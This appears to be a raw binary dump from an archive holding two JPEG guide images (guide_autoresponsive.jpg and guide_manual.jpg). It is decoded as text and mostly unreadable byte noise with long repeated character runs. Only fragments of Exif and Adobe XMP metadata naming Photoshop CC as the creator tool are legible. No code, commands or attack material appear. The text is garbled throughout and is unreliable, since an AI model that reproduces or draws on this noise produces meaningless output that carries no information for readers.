��5�b�kV.4��a���*�ʮ!�U�5���c�ipXS�;���iyUWW/���-�ҿV����`>`-;�w����X�eݳx��b����Ds�+H�kQ��Y��m�h��U�,�z5D�SF���P,������EZ=�t�*�xL@��¹*a��;�_���5Fҍ�z�S�t"V��T�΃�r�˗.\�r�r�˗-�.\�r�e3�Wy�9�4�ӚsNi�9�4�ӚsNi�9�4朓�rNi�9�4��sNi�9�4�ӚsC}��7.\�}.\�r��zܹr��r�˗/���r�}/�˗/��e���/��r�˗�[-�yl�yr�r�l�\�[-��e����l�yl�l�[-��w�˖�e���˟yl�[-��w�-��w��e��l�yl�[-�[-�[��[��yl�[�E�M~o����C���{�'����q�i�� B��CQ�PGf?��a��
v�d��GH]���2���sYg��E{�3��͇�d�{�A���s)�)a�:"�h��\)h0��D�`QX�w��$n3�,�0.�	),>�D���#:k��v�%���
��	XP�݁�����vR꿗ӭ
2~3L�1�`X<G���0�6ch�'1w2�A�f6��]��m�Ɓ8R��y�9�,��r�y�9�.Y�9���9�<��r�y�9�<眳�r�y�9�,����r�y�9�?]��,��s�y�9�,圳�s�y�9�.y��@�&�}	���3Tv*��ѩ��5y?�a·Ԁ
�3���d�#��{6�7;2�������{�w�>�/I�B�̎���f���a�:>e��G̶����䜓�rNH�.%�z��9g$抈�f/��ӓ�Q��2����׃�њ�}z��o�D����=�IJY�G��:c#紐��{k�!��ק5<�Pנ6u��Q�*��
J���K����#�zkx������&@���h~]�M�4�d�7B\d�D:Ц��>��>�9�碲j㉌�b�]�6�
���ѵ�����^D������բE��\�m�5�|K���\�+%N�����x��h����4(F��_�����+$�)
v��Yu���8��z��b�^����B_���a�a�!JUi�F�%��<D�c����u���ln�T5�s����6�cC�5��Z�]k��!�w�N�dL&ObDzz�槟^�ǯ[��[Wc�
�i<�ơ�Ȼ�I�����{�׬i��p3���eN%���p3���fB�,T�g8��0��R����oZO:�q�~0�j��`�v���C���ϱ�،h`u�@��sUk�~�@�#Vn�-����s���ǃ���/$�-v?�IU��9,�z=�
-���t�$�N�N�e��'��N4�:.'�@���ñz�����`��;�0�v~p�]��Ux<E^wt8F�2����<�����3�?�F��g)�O%Kv��oMO��3;?q�g����t&
��g�w���q‘:p�	Z0
�R�{Ca�]j�좴�jB�����HE�Q��Wa��S�v�ۢ�i��L!c[��y�T�D���0jj�4�����wo��(�G^N���h��Z��;����V�R��J���{K}�@��ET�lEf\�߬g�Em]�q�GDA��&V@������]�i� E��{:~~n�D���J��{�Z�_. A��>�x�k� E������ƺ.�%��S��Ć�g���Cw��f���)9N�r���p���N7Mœ.���.E�B�}
�u�j�Rh���و��t.j���_��v����]z��W�o���as���Nq���'8	�Np���'8	�N`М�'8	�N"p���'8	�Np���'���t}�
fnh�1��I��`���n���-������>e�b#�w7pЍ�t�m9t��gNBܑ)Ny�T[]�U��?���U��4�5bm��1jV���p�oK
��覶-%�'Z-~%Z����`�{�R-��OcC���?�O.���Pn�'�
���c��7J��/�.Iv�UkϞШ�/)y�B�Ed"�yF;ڀ�������/b�B���!�	�3��V�(=�����I�D�.J`��7�jV�U�wrmSb\Z�-�4���?cDv�7�ed��"��76'�w��䁗�����mH��D�TU��F	{1
�
Z2�x�� sh�^1��]����(UYPb=�`	]��e���;=B�rc���֖J������V�*6�~Ώ����٨N7�q�[)u������K��Wi�����I$������I$��ڒI$��ĒI���1�W���?��5�����y���˗.\�r�˗.\�r�˗.\�r�˗.\�r�˗.\�r�˗.\�r�˗.\�r�˗.\�r�˗.\���/�r���������g�3������>3���O�|w����Ӫ{��_�z����zjW���/�>����/�g�I~i���˗�o��o����?���T�R�t�R�J�ҥJ�*T�R�J�*T�R�J�*T�R�J�*T�R�J�*T�R�J�*T�R�J�*T�R��������C�V=��@�v�I�oƧ�c�1����?��PK�y3\;V6^�F�F,assets/images/guide/guide_autoresponsive.jpgnu�[������ExifII*��DuckyP��http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4c32797c-52b6-428c-825f-5f23cb5e3811" xmpMM:DocumentID="xmp.did:E7A9245C2B2811E99859C4FACCCFBCA7" xmpMM:InstanceID="xmp.iid:E7A9245B2B2811E99859C4FACCCFBCA7" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:a91cfe80-e500-e549-aa83-83eab022bc6c" stRef:documentID="xmp.did:4c32797c-52b6-428c-825f-5f23cb5e3811"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>��&Adobed�

�(\>F����		

				
	
���0��	03P`24 @5�6�	01����45P���3 `!AQ����"2@aq#��𱳁��“Ä%Bbrcst10���2�AP` "@����0`!1 PQ��Aa�@q���������z��:r�����F"�� �h��b-�:r�����F"�� �h��b-�:r�����F"�?�M~s7��5N@1�:I��s2~�Ӑ�E�
!:	UZ��� �h���`�y`b-�:r��_�3	��%�E��~�?��9�߯���f�F"�	�z�ym��-˗�F"�	�z�ym��B�`��(F"�	�z�ym���7k��.?@�h'I��A�� Z,ݯ�
ĸD�b-��'��ޜ�b-��'��ޜ�b-��'��ޜ�b-��'��ޜ�b-�t�R�	�z�Y����\�Q�A�� �h�'T��i*'I��/vD���A�� �h��Ƙ���N��Qް�@<�6��#mzL8��=@<�6��#m�=@<�6��#m�=@<�6��#m�=@<�6��#m�=@<�6��#m�=@<�6��#m�=@<�6��#m�=@<�6��_�!|T�����VRr�FGTm뼬��5T�����yXI�j�P
������R2:�o]�`'!��du@6޻�
NCUH��m�w���������z�+)9
U##����VRr�FGTm뼬��5T���~ϰ?/�?O�#���yXI�j�P�9G��6޻�
NCUH���򳘽a�
������R2:�o]�`S�P*�g�U�>@
NCUH��m�w���o�|������Rr�FGTN�?;�@��}Ul�m뼬Sx�U卆W坆P���R2:�j]���8�G�����yX�T
����~ϐ���R2:�j]���8�G�����yXZ�?�|���}�&�π'!��du@Ժ6��@q<�W-�;�����W�o��=�+�^�����R2:�j]���8�G�����yXj~?���7�e�Ǖ�/H��I�j�P5.���PO#��y�m뼬��5T����F�v�('�������VRr�FGT
K�`;~���r�s��z�+)9
U##��Ѱ�_���z�o9��w��������g�p��Ժ6��C�N��@��6����=\���޻�
NCUH���C�����F�v�(W��?U�>@8�G�����yXI�j�P����f���F�v�(����7���|��@�y�[�w�o]�`'!��du@Y��g��Ѱ�_���z�o9��w��������R��߯���=\���޻�
NCUH���tlo���y�[�w�o]�`'!��du@Ժ6��@q<�W-�;�������R2:�j]���8�G�����yXI�j�P5.���PO#��y�m뼬��5T����F�v�('�������VRr�FGT
K�`;~���r�s�����1��GF#�ш��tb:1��GF#�ш��tb:1��GF#�ш��tb:1��GF#�ш��tb:1��GF#�ш��tb:1��GF#�ш��{�{�r2���#)��r2���#)��r2���ଌ��������줼��}O�Vii5�e�yCSg�?L��zkC��n
q�8
�ȳ9g"��Y��3�fr,�E�ȳ9g"��Y��3�fr,�E�ȳ9g"��Y��3�fr,�E�ȳ9g"fNfR�sQ�R���������?׷�p����>�w�"��^\�ˑyr/.E�ȼ��"��^\�ˑyr/.E�ȼ��"��^\�ˑyr/.E�ȼ��"��^\��ə�JA��li9j���m�npۆ�6�
�m�npۆ�6�
�m�n����T���>����~���T���>����~���T���>� ���� �퇏��)l<}�AO�V��Ѯ������%1%fm,ͥ���6�f�ͲJ^K�oS�M�ju-��6H�J�;������'-W3�
�m�rZ�g�oS���W4I'�A	�������K�yr/.E��Ye&�����%W�^zyi��pv�������>� ���� �퇏��)l<}�AH8;a���
A��oR�x��t�n�-Ӆ�p�N���8[�t�n�-Ӆ�p�N���8[�t�n�-Ӆ�p�N���8[�t�n�-Ӆ�p�N���8[�t�n�-Ӆ�p�N���8[�t�n�-Ӆ�p�N���8-.��#<r3�#<r3�#<r3�#<r3�#<r3Ǯ���;�Yu�&<������;��?G��	��v�|����x�%�f�M	�خ��2��o��p���������������������������������������������������������������������������������&W6xOs�.�vڄl圳�r�Y�9g,圳�
���o�O[�8n>=멍멍멍멍멍멍멍멍멍멍멍멍멍멍멍멍멍멍멍멍멍멍멍멍멍멍멇'�7�O[�8n>fV�ßևևևևևևևևևևևևևևևևևևփև��Ex����q��h��o�ֿ�1^ �xp�|8�+����W�-�7�<An��|A�w�
���[�8n>x���=e�l��w������&��&��&��&��&���m�~�>x�b��Z�K�Pi
;�Y0����n�Y[oZZZM�w?W�<z˹8�`��zVcM7jMI?�g��?Y)ٖ�멍멍멉�ٗ�W�<~�6�=I�'�,��w�
���[�8n>x����q������ �xp�|> ��Æ����-�7�<An��g����:�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�b�aT1��μ���μ���μ���μ���μ���μ���μ���������������������������%�+	׎5Bu��˂�Z�Qj-E����Z�P�Ń�5Bu�!�&%%%%%%%%%%%%%%%%%%%%%%%%%%"H`J��s�1�W�u.�Ժ�R�]K�u.�Ժ�R�]K�u.��A�����L9���?�!���L9���?�!���L9�� �C&�Ou�!�'�:��ɇ?��`�d�Mͫ�Z����������I�q��?��`�d���ł�]K���.Y�� �C'�l~����0{`������d2a���X20��x���s�<A��L9�� �C&�Ou�!�'�:��ɇ?��`�dß�?����:�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�"�!5�)�ͼ���ͼ���ͼ���ͼ���ͼ���ͼ���ͼ�R�R�R�R�R�R�R�R�R�R�R�R�R�R�R�R�R�R�R�R�R�R�R�R�R�R�QDq�	��9�m���ǎ�\��r.Eȹ"�\����ɏ�9�m�;�K6j�j�j�j�j�j�j�j�j�j�j�j�j�j�j�j�j�j�j�j�j�j�j�j�j�j�j��cRl��rY��O��l-�����[al-�����[al-��ZG���l9,��Y��;���l9,��Y��;���l9,� �w6�om�;�K7�6��͇%��`��Jʧ�:$�$�$�$�$��T�'�%��`���Ɏ�[`�?Y,� �w7�?|������������
�gsa�f��3���x�l��rY�A��l9,� �w6�om�;�K7�6��͇%��`��Ò�?��?��sXk
a�5����Xk
a�5����Xk
a�5����Xk
a�5����Xk
a�5����Xk
a�5���?��lg���ѱ��c?F�~����63�lg���ѱ��c?F�~�=Ǹ���{�q�=Ǹ���{�q�=Ǹ���{�q�=ǹ��,g�2�,g��mCjPچ�6��
�mCjP�|�|��Nwy�F���\k�q�5Ƹ��\k�q�5Ƹ��\k�q�5Ƹ��򐱜�q��\�jkSZ��֦�5��MjkSZ��֦�5��MjkSZ���63���"���Ȝ�63���"���Ȝ�63���"�#��;�����8)��/;�8�
s����3����=�����DU��;�8�
s��r5��Mj&_��#��;�>k�q�|'����8)��/;�8�
s����3���"�#��;�����8)��/;�8�
s����3���"�#��;�����?��s�8�8�8�8�8�8�8�8�8�8�8�9��6R�l���KѲ��e/F�^���)z6R�l���KѲ��e/�0�0�0�0�0�0�P����p�����MjkSZ��֦�5��MjkS����,�b$Gq�q�q�q�q�q�s�����D��6��
�mCjPچ�6��
�mCjPچ�6��
�}�ce(+#��6R��:�ce(+<�R����(+<�R����(+�ETa�UD����PW�Pچ�>��y�O�qϕ���(+<�R����(+<�R����(+<�R����(+<�R����?����@ �@ �@ �@ �@ �t���\�.c1����b�1s��\��xjI�v$�[7�A���P�`�;=�)����\��b���.�.�m��Zw�;E���`!$�)DE(�Jc`S%A�I%�2[4)4�r��Y�M��4F.���SDb�M��4F.���SDb�M��4F.���SDb�M��4F.���SDb�M��4F.���SDb�M��4F.���SDb�M��4F.��G�g��?#���Ȳ��?��N/�!�D"�B!�C��{�uȜI��/4��DB�A�D/4��DB�A�D/4��DB�A�D/4��DB�A�D/4��DB�A�D/4��DB�A�D/4��DB�Ay��M��:���ĝ
ݝ�^�h�����W�ʾ�U���/�}�|���_x_*��W�ʾ�U���/�}�|���_x_*��W�ʾ�U��KG��l�$=	���N$�n�i��KL�2v't7{4��%�f�;�:Q't<�N$�yD�I��ry����V�1�,m:R�� ��Z�c)��JT�
2�1v���ښ�jk�]��1v���f���h�2U)G
����yD��f2$?'�1/�{�����kHP��}�j˦��ԟg����{G�7���ʾ�U���Y��6o|o=	?�<�^�,�-	�J����~a��
?�ٍG�;FѧBKvϩ%�.BZ�T���U=b�A�D/4SV���_2�����yD���&�3~B�ѧBKvϩ%�'C�$�N��Iĝ(��:Q't<�N$�yD�I��8�����I�ni&1�����c�I�ni&1�����c�I�ni&1�����c�I�ni&1�����c�I�ni&1�����c�I�ni&1�����c�I�ni&1�����c�I�ni&1�����c�I�ni&1�����c�I�ni&1�����c�I�ni&1�����c�I�ni&1����v��+��#���5�~ncY���5�~ncY���5�~ncY���5�~ncY���5�~ncY���J'�S��o�Lc�Vigl�
���v+�.���-&���
�22�1��)YP�Υ5"39FJy��>`Y���3�=����h�F��J��+��ԓ6ĿܸoZ�>��#�Yz|�����`ͷ��T3JZ��1��E�06�?��[U&J�1C$��gB���d������L֖�z_7�$���?6A�k��6����k��6����k��6����k��6����k��6����k��6����k��6����k��6����k��6����k��6����k��6����k��6����k��6����k��?�ټ�����Ч��g��g��.p_��9Y��qC]��O�2_�����x����x����x����x����x����iR^�d�	�ۑ�/�����8���n����%R�PbU,u%R�PbU,u%R�PbU,u%R�PbU,u%R�PbU,u%R�PbU,u%R�PbU,u%R�PbU,u%R�PbU,u%R�PbU,u%R�PbU,u%R�PbU,u%R�PbU,u%R�P1����<������)�B.�+<��,gi�i�D�f��o/�%��OIA�˰c^��ק�F5�Q�zc^��ק�F5�Q�zc^��ק�F5�Q�zc^��ק�F5�Q�zc^��ק�F5�Qi�?���/#�v2_��D2ϵ��?3��F��n�;���J��Ŀ��v�����v��6��N�7񿒿�q/��r���8���n���Q�����v��6��YF�?3��F��n�e<��,gi�i�E�l��r,��?,���B�]�t�O�
���o)�T����ϭ'���X��?m��l��
��F�F�~KE$��(a�͵�\�\a�͵�\�\a�͵ź�c��mv{6�F�zSD���(��n�e<��ӷ�f&�L��f�}/�}����@Ӆqb��
��M,�CQ���4��X�/���%�L�6K�A��a�_��c;H�n��b_�I���|�5�Q�zc^�����^G�I����|�y
��Q�����Ym��37�ٲj��a��㴌��������J�,���>�gT'���r!�Y�H�/����gi!����chb�ͣħ���FPĪX�J���ĪX���cM����F�_�D��I@\��t�(����X���gk�	~]��~�Ϭ��r!�Y�H�/���gi�i�E�l��8���n���Q�����v��6��YF�?3��F��n�e<��,gi�i�E�l��8���n���Q�����v��6��YF�?3��F��n�{?��?!�F�9���nF�r7ۑ�܍��o�#}����o��A"G�@�}�m����1PM#ء(I�!:����m�G��tC/�W�}�oͺ�5;�a�H�D����g؜���AAAAAAA��
�w�_nFϷ+B~a6a6a6a6a6aMjG�1Ϸ� � � � � � � ��!�N������d��������������R!�>��nF~܌ ���#��`>܌��֋u�����p}�<C�~��ÈA����h>�Rr��z�2@f(��=�vp�"h`OQ�������Ӄ3?ڄC�O^j>�]V4�'�
n��I1��'i#�t��`6S�5+]���:���hl9��x;	���`6S�@�r0nF��}��#��`>��a�a�a�a�a�a�a�a�a�a�aÆa�T_�h�ǯ������Pm4C�J(��
��x%��$�@u�v��.��D�pJA�b�7�p�9q�����D3}�0
Oq�_�2A�萵��s�k,��,��,��,��,��,��,��a�";�m�1�&�t�������n�\�ۆ��,��,��,��,��,��,��͇Y��˷<uL��������������\F���ۆ��`�;�����&5�!���^��Q�gX<l;�4L��,�()�$�j9�b�6#�����0�^ƀd<{��5�����U�@��V�l<uL�߁��<uDiߜa��KX-�!:)�%r_l���4z����ă�.���ùeL@$�Q��,�,��h9�/�L4
����� ����?�xa�a�a�a�a�a�a�a��?!��Nlܛ7&�ɳrlܛ7&�ɳrlܛ7&�ɳrlܛ7&�ɳrlܛ7&�ɳrlܛ7&�ɳrlܛ7&�ɳrlܛ7&�ɳrlܛ7&�ɳrlܛ7&�ɳrlܛ7&�ɳrlܛ7&��JGo�Fk�Fk�Fk�Fk�Fk�Fk�Fk�Fk�Fk�Fk��
v���0�@k�!|X�'ʼn�b|X�'ʼn�b|X�'ʼn�b|X�'ʼn�b|X�'ʼn�b|X�'ʼn�b|X�'ŊsZ7�o��k�<{�]�b4��v1�7�7�7�7�7�7�7�7�7�7�7�Lk��nc�'{�]�j�ģ��r|ܟ7'���r|ܟ7'���r|ܟ7'���r|ܟ7'���r|ܟ7'���r|ܟ7'���r|ܟ7)�)�s��	��5ubQя�3�na?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�m�}�v���5ubQяOG�WՌ�l��(�ǧ��+��k�
]X�ts�`�ՉGG1k�
]X�ts�`�ՉGG1k�
]^��=�A�'ʼn�b|X�)�>á��������T�Z��4�c�m�'�'�'�-1���cts�`��~9>nO����>8���b�l��(��-v�����b�l��(��-v�����b�l��(��-v�����b�l��(��-v�����O��?!��x��"�b�*T�R�J�*T�R�J�*T�R�J�*r8�Յ
(P�B�
(P�B�
(P�B��T�R�J�*T�R�J�*T�S̏�d�J�*y��J�9(��[ɰl�ɰl�ɰl�ɰl�ɰl�ɰl�ɰl�ɰl�ɰl�ɰl�ɰl�ɰl�ɰl�ɰl�ɰl�ɰl�ɰl�ɰl�ɰl�ɰl�ɰl�ɰl�ɰl��vS����|��|��|��|��|��|��|��|��|��|��|��|��~B�O�t�O�t�O�t�O�t�O�t�O�t�O�t�O�t�O�t�O�t�O�t�O�t�O�t�Q���}a9ߞ1�	�3Z���=�����������V���ONN�l';���bU��>��Y>��Y>��Y>��Y>��Y>��Y>��Y>��Y>��Y>��Y>��Y>��Y>��Y>�l�?_XNw���ī�ǎ�M�3�3�3�3�3�3�3�3�3�3�3�3�3�3�3�3�3�3�3�Mj���u�s�
%]=}�S�c9��������)�1��GA�WC�\�GA�WC�\�GA�WC�\�GA�WC�\�GA�%bg�?)�n�&��n�&��n��D{���֮�������:Q6��$�$�%=)�O]1s�
��O�d�G��x*�y���h�1*�y���h�1*�y���h�1*�y���h�1*�y���h�1*�y���h�1*�y���h�1*�y���h�1*�}?���I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�O������������������$�I$�I$�������������������I$�I$�I$�������������������I$�I$�I?������������������I$�I$�O������������������$�I$�I$�������������������I$�I$�I$�������������������I$�I$�I?������������������I$�I$�O������������������$�I$�I$�������������������I��I$�I$�������������������_�I$�I?�����������������䙉$�I$�O������������������$�I$�I$�����I$�I$�I$�J����I$�I$�I$�����m��m��m��?����I$��m�?�����m��m��m�����I?��������$�I$�I$�I+����$�O����������I$�I$�_�����I$�����������m��m��m�������I$�����?�����m��m��k������I?����������������������$�O����������������������I$�������������������������I$�����?������������������I?���������������������(bO�RE�������������������By���'��������������������S$�����?������������������I?����������������������$�O����������������������I$�������������������������I$�����?������������������I?����������������������$�O����������������������I$�������I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I6�m��m��m��m��m��l�I$�I$�O������������������$�I$�I$�������������������I$�I$�I$�������������������I$�I$�I?������������������I$�I$�O������������������$�I$�I$�������������������I$�I$�I$�������������������I$�I$�I?������������������I$�I$�O������������������$�I$�I$�������������������A�I$�I$�������������������'�I$�I?�����������������䝉$�I$�O������������������$�I$�I$�������������������I$�I$�I$���������I$-��m�?���o����I���������������������$�C����3������m��m��?�����I$�����������������I$?����?�����������I����������������������$�C����3������������������I$������������������������I$?����?������������������I��������������������!2C�[e�3������������������E�����������������������e$?����?������������������I����������������������$�C����3������������������I$������������������������I$?����?������������������I����������������������$�C����3������������������I$�������?�/4E�D]4E�D]4E�D]4E�D]4E�D]4E�D]4E�D]4E�D]4E�D]4E�D]4E�D]4E�D]4E�D]4E�D]4E�D]4E�D]4E�D]4E�D]4E�D]4E�D]4E�D]4E�D]4E�D]4E�Pj߬��l��l��l��l��l��l��l��l��l��oS�YX��'�Q���N��P�<�A�wMJ�Sk2��=������j�����a�t�Ci�s������:���H2 � �=��"2s�<�q�q�q�q�q�q�Z`;�G|';dks�T&��1�;�;�;�;�;�;�;�;�;�;�;�tBi�sy���������8�8�8�8�8�8�-0�c���j�q(�1�0wL���.����������|F����US�EQ�q���5U8�U�\�US�EQ�\�US�EQ�\�US�EQ�\�US�EQ�\���&5��Lk���p��3�UO�b���@��q��1��
G�G1s���<��KG��r#��� g�?#Y����d�0{�>�U<;�t�wn;�4�EQ�\��0h�wna	0��'`����t
�@�P}2I�aԻ��Ҫ���?�@$�Q��8���h8(�9���$��b����h`�A��&��R�~�Z��J*�b�l��J*�b�l��J*�b�l��J*�b�l��J*�b�l��J*�b�l��J*�b�l��J*��Y$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$��I$��p"�W��������H054���ʄe���� �%`Z�$ ��ڥ�!�@�ȚE$i��4���I���Ӂ0Z`-t��"n��Wp3��?�"�84��(�pq���]u�]u�]u�]u�]u�]u�]s�M��t�1�6���έ�7wwwwu��F��mh �u�]u�]u�]u�]u�]u�]u��7_"��$�-�Av�L������������ݾC1L�宂
�h �v�������hta�:@��]�Ь�6�u��u�]uJ��l!#X<�خ��#��Ƃ@�'B@�j"u�R`l���bgX��UO�n�!��&7HKjy���"$�/A�ВP"�.�R*R�PN$���2�������2����r�ʖ$:�9�TB �!���O�?0 � � � � � � � ���?��y��"�b�
(P�B�
(P�B�
(P�B�
dc��+�*T�R�J�*T�R�J�*T�R�J�*T��B�
(P�B�
(P�B�G2�y��C�2B�
"9�`�
#��J���0�0�0�0�0�0�0�0�0�0��0��C�d�;�Q���333331��ND�%0T�F|�q�q�q�q�q�q�s��d�`�v�33�o�ԛ��vę������}7��>��m�0�q�q�q�q�q�q�s��t��q�v��a�,��A�Y��&ffffffffg����dzF��i0��q�0�0�0�0�(36��sI��q�sqzv0��~nd�("AE<ft����=gn	��gݢM�:N��Ʌ�8���IF����8�eIܒu$���&I@G���$�$�$�$�$�$�$�?��?�i��20��#�20��#�8&7�)���@�A*H���AAAAAAAAAAAAAAAAAAAAAAAAAA8C#F�R�J�*T�Ṣ��AAAAAAAAAAAAAAAAAAAAAAAAAAC����ı�$����$����Fda��@�eIIIIIg�RaA3�Lppg��G]0 ��͇@FAda��Fda���m��m��m��m��m��m��m��m��m��m��m�6�m�c'@���:��-����ӑ��M�(��Ye�Ye�Ye�Ye�Ye�Ye�Ye��#R���z��ή��k�d6K�o�������s��-����ݶYe�Ye�Ye�Ye�Ye�Ye�Ye��#@���:
�v�\Ʊ1�GH��UUUUUUUUW�sM3!�]go���n�,�����Ƕ��0l���Ye�[mJ7А��}�zǷ\Ʊ1�GH߁Uzf5��
�z�m�Q��:Fǁe��@�������ݶݶݶݶݶݶݶݶ��PK�y3\�]��?�?$assets/images/guide/guide_manual.jpgnu�[������ExifII*��Ducky<��|http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4c32797c-52b6-428c-825f-5f23cb5e3811" xmpMM:DocumentID="xmp.did:2250465C40C011E99522EB9FD3005FAE" xmpMM:InstanceID="xmp.iid:2250465B40C011E99522EB9FD3005FAE" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8f293aa0-7f63-0142-be49-f5fefd9ebfc1" stRef:documentID="xmp.did:4c32797c-52b6-428c-825f-5f23cb5e3811"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>��&Adobed�

�!�48?����		





���0���0@P123 ��2��3�0@P��4 1!����`AQaq"�R��#1@P`�!�����a�10@PAq�� !��Q`��p�������{�@�'p'p �����y"')�H��@Jz�"p��䈜��y"')�i����"p���J�䈜���x��H��bp ��?@%.�+�$D�t���`x'$D�t���	O@H���8LN�)��8y"'ӵ�Ox�)��8y"'��@�+�)��8y"'��@�+�)��8y"'@Jz�DNH����<���"p��$D�䈜)��:��(��$D�䈜)�b��oa�DNH����=�@��$D�䈜)��8y"'@Jz�DNH����<���"p��$D�䈜)��8y"'@Jz�DNH����<���"p��$D��:eFsE�4���5�р
.�8�e�`K��3Y}��3����sE�4���3Y}t�Ru�#�׆�.�8�_Gw}K�*0�&���K��5����R�J�9bɤ����3��e�wwԽR�X�i(n����3Y}�/T���,�J�.�8�_Gw}K�*0�&���K��5����R�J�����e� �,�J�.�8�_Gw}K�*0oUd1��X�i(n����3Y}�/T����]��/�9bɤ����3�o.�ܺ�I*0t7@�,��q����.ު�1���d�P�iu�oUe����:������|):�>]x`M��3�,Y4�7Z]Fp��Ym�����6k/�����X�i(n�����M%
֗Q�;yt���
IQ��e�wwԽR��M%
֗Q�9bɤ����3��Y7�$�G.5$��5����R�J�,Y4�7Z]Fp�&���K��z�-�]��J�E�h�e�wwԽR��M%
֗Q�9bɤ����3�ު�oWd"ҷkZ3Y}�/T��rœICu��gX�i(n�����_Gw}K�*0�d�P�iu��,�J�.�85����R�J�,Y4�7Z]Fp�&���K���e�wwԽR��M%
֗Q�9bɤ����3�3Y}�/T��}Qik�UHၷ��d�P�iu��,�J�.�85����R�J�o.����el �u�,Y4�7Z]Fp�&���K���e�wwԽR�7�լ~�UH����d�P�iu��,�J�.�85����R�J�,Y4�7Z]Fp�&���K���e�wwԽR��M%
֗Q�9bɤ����3�3Y}�/T��rœICu��gX�i(n�����_Gw}K�*0�d�P�iu��,�J�.�85����R�J�,Y4�7Z]Fp�&���K���e�wwԽR��M%
֗Q�9bɤ����3�3Y}�/T��rœICu��gX�i(n�����_Gw}K�*0�d�P�iu��,�J����^ɦM2i�L�d�&�4ɦM2i�L�d�&�4ɦM2i�L�d�&�4ɦM2i�L�d�&�4ɦM2i�L�d�&�4ɦM2i�L�d�&�4ɦM2i�L�d�&�4ɦM2i��si�L�f�6��ͦm3i�L�f�s#��<O��<O��<O��<O��2�٥ɺbL���1&irn��4�7LI�\��$�>�r��G,Q�r��G,Q�r��պbL������������պbL��G,Q�r��G-d�,�x�(�J9��d��(�J9��d��(�J9��d��(�J9��d��(�J9��d��(�J9��d��(�J9��m3i�L�f�6��ͦm3o�fm3i�~;#�;#�;+&�a��'��x�'��x�'��eqn�n�,ۥ��X;|��Y2VL��%d�Y2VL��%d�Y2VL��%d�Y2VL��%d�Y2VL��%d�Y2VL��%d�Y2VL��?Vif�.
��ZZ1֝i֝i֝i֝i֝i֝i֝i֝i֝i֓2�m��t�7K6��Z3K6�pn�mӒ�f�m���0�if�.
�f�m���0�if�.
�f���V�X��(�9b�X��r�?
���0�i���G�i֝h��7�-���0�i�
��+&JɑkR���.
�f�m���0�if�.
�f�m���0�if�.
�f�m���0�if�.
�f�m���0�if�.
�~��N��|S�)��w�;��N��|S�)��w�;��N��|S�)��w�;��N��|S�)��w�;��N��|S�)��w�;��N��|S�)��w�;��N��|S�)��w�;��N��|S��
�|T>*���C��P��|T>*��r�h�(�2��(�2��(�2��(�2��(ǒ�ĥ�7)�N%/�Lzq)M�cӉK�nS�J_�r���R���K�/t�a��K�/t�a��K�/����R����Oҟ�?J~��)�S��O�f=8������K�/t�a��S�	i)����Η�:^L�y3��Η�:^L�y3��Η�:^L�y3��Η�:^L�y3��Η�:^L�y3��Η�:^L�y3��Η�:^O�P��|T>*���C��P��}��ʇ�C���Oҟ�?J~��c�a�kw-�2��(�2��(�2��Kx"�1�5�K�l�=7	�M���̱�rguɝ�&w\��rguɝ�&w\��rguɝ�&w\��rguɝ�&w\��rguɝ�&w\��rguɝ�&w\��rguɝ�'�����zn�7��?4~h����G���?4~h����G���?4~h���q�V���9�M�c�a�j��_�g1�Lzl?�]?��K�l�=7	